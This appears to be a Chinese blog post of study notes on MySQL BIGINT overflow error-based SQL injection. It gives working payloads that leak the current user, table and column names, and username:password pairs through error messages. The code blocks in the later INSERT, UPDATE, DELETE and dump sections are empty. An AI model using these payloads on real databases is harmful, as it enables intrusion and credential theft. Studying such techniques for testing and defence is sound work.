MySQL 的 BIGINT 报错注入
基于 BIGINT 溢出错误的 SQL 注入 - web 安全 - mssp299
阅读笔记
0x01 概述
-
sql 存储整数的方式
-
只有 5.5.5 及其以上版本的 MySQL 才会产生溢出错误消息,之下的版本对于整数溢出不会发送任何消息。
-
BIGINT 的长度为 8 字节,64 比特。这种数据类型最大的有符号值,用二进制、十六进制和十进制的表示形式分别为:
0b0111111111111111111111111111111111111111111111111111111111111111
0x7fffffffffffffff
9223372036854775807
当对这个值进行某些数值运算的时候,比如加法运算,就会引起BIGINT value is out of range
. 如:
select 9223372036854775807+1;
-
对于无符号整数来说,BIGINT 可以存放的最大值用二进制、十六进制和十进制表示分别为
0b1111111111111111111111111111111111111111111111111111111111111111
0xFFFFFFFFFFFFFFFF
18446744073709551615
同样的,如果对这个值进行数值表达式运算,如加法或减法运算,同样也会导致
BIGINT value is out of range
错误:
-
对数值 0 逐位取反,结果会得到一个无符号的最大 BIGINT 值
0b0000000000000000000000000000000000000000000000000000000000000000
->
0b1111111111111111111111111111111111111111111111111111111111111111
所以,select ~0
的结果将是18446744073709551615
:
那么, 对~0
进行数值表达式运算,如加法或减法运算,也会导致 BIGINT 溢出错误:
0x02 注入技术
- 基于 BIGINT 溢出错误的 SQL 注入需要有
0
这个关键点出现, 而如果一个查询成功返回,其返回值为0
:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17mysql> select (select*from(select user())x);
+-------------------------------+
| (select*from(select user())x) |
+-------------------------------+
| root@localhost |
+-------------------------------+
1 row in set (0.00 sec)
mysql> select !(select*from(select user())x);
+--------------------------------+
| !(select*from(select user())x) |
+--------------------------------+
| 1 |
+--------------------------------+
1 row in set (0.00 sec)
mysql>所以,我们可以这样利用:
1
2
3
4
5
6
7
8
9
10mysql> select ~(select*from(select user())x);
+--------------------------------+
| ~(select*from(select user())x) |
+--------------------------------+
| 18446744073709551615 |
+--------------------------------+
1 row in set (0.02 sec)
mysql> select 1+~(select*from(select user())x);
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '(1 + ~((select 'root@localhost' from dual)))'组合好逐位取反和逻辑取反运算,我们就能利用溢出错误来成功的注入查询。当然,方案有很多种。
- 利用这种基于 BIGINT 溢出错误的注入手法,我们可以几乎可以使用 MySQL 中所有的数学函数,因为它们也可以进行取反,具体用法如下所示:
1
2
3
4
5
6
7
8mysql> select !atan((select*from(select user())a))-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(atan((select 'root@localhost' from dual)))) - ~(0))'
mysql> select !ceil((select*from(select user())a))-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(ceiling((select 'root@localhost' from dual)))) - ~(0))'
mysql> select !floor((select*from(select user())a))-~0;
ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not(floor((select 'root@localhost' from dual)))) - ~(0))'以下函数同样可以:
1
2
3
4
5
6
7
8
9
10
11
12
13HEX
IN
FLOOR
CEIL
RAND
CEILING
TRUNCATE
TAN
SQRT
ROUND
SIGN
EXP
...
0x03 提取数据
提取数据的方法,跟其他注入攻击手法中的一样:
- 获取表名:
1
select !(select*from(select table_name from information_schema.tables where table_schema=database() limit 0,1)x)-~0;
- 取得列名:
1
select !(select*from(select column_name from information_schema.columns where table_name='users' limit 0,1)x)-~0;
- 检索数据:
1
select !(select*from(select concat_ws(':',id, username, password) from users limit 0,1)x)-~0;
0x04 一次性转储
从所有数据库中转储数据表和列的时候,只能得到较少的结果,毕竟我们是通过错误消息来检索数据的。但是从当前数据库中转储数据的话,一次最多可以转储 27 个结果:
1 |
|
这些限制了我们可以检索的结果的数量,即最多 27 个。假设,我们在一个数据库中创建了一个 31 列的数据表。 那么,我们只能看到 27 个结果,而我的其他 4 个表和该用户数据表的其他列都无法返回。
0x05 利用插入语句进行注入
利用插入语句,我们也可以进行类似的注入攻击,具体语法为 '' or (payload) or ""
。
1 |
|
1 |
|
0x06 利用更新语句进行注入
利用更新语句,我们照样可以进行类似的注入,具体如下所示:
1 |
|
0x07 利用删除语句进行注入
利用删除语句,我们照样可以进行类似的注入,具体如下所示:
1 |
|
0x08 小结
本文的攻击之所以得逞,是因为 mysql_error()会向我们返回错误消息,只要这样,我们才能够利用它来进行注入。 这一功能,是在 5.5.5 及其以上版本提供的。对于这些溢出攻击,还有许多不同的形式。 例如:
1 |
|
记录
一个例子:
1 |
|
payload:
- By:tr0y.wang
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论